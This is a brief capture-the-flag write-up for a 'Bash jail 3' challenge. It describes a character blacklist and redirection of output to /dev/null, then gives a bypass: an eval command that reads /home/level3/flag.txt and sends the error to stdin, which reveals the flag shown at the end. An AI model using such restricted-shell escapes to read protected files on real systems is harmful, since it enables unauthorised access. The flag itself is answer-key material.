Bash

Bash jail 3

Reading the code

Characters not allowed

if [[ $1 == *[bdksc]* ]] 

This part prevent us from using a couple of different characters (bdksc)

Redirections

There’s also a few other problems that we face.

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

On the top it says that everything that is an STDERR gets redirected to /dev/null

And if we look at the output

output=`$input` &>/dev/null

STDOUT and STDERR also gets redirected to /dev/null

Solution

We only have another way out it’s using the STDIN (0)
The only command that i found that was usuable was eval
By using eval and the content of flag.txt, we can output the error in the STDIN

eval $(< /home/level3/flag.txt) 2>&0

./real.sh: line 39: FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j: command not found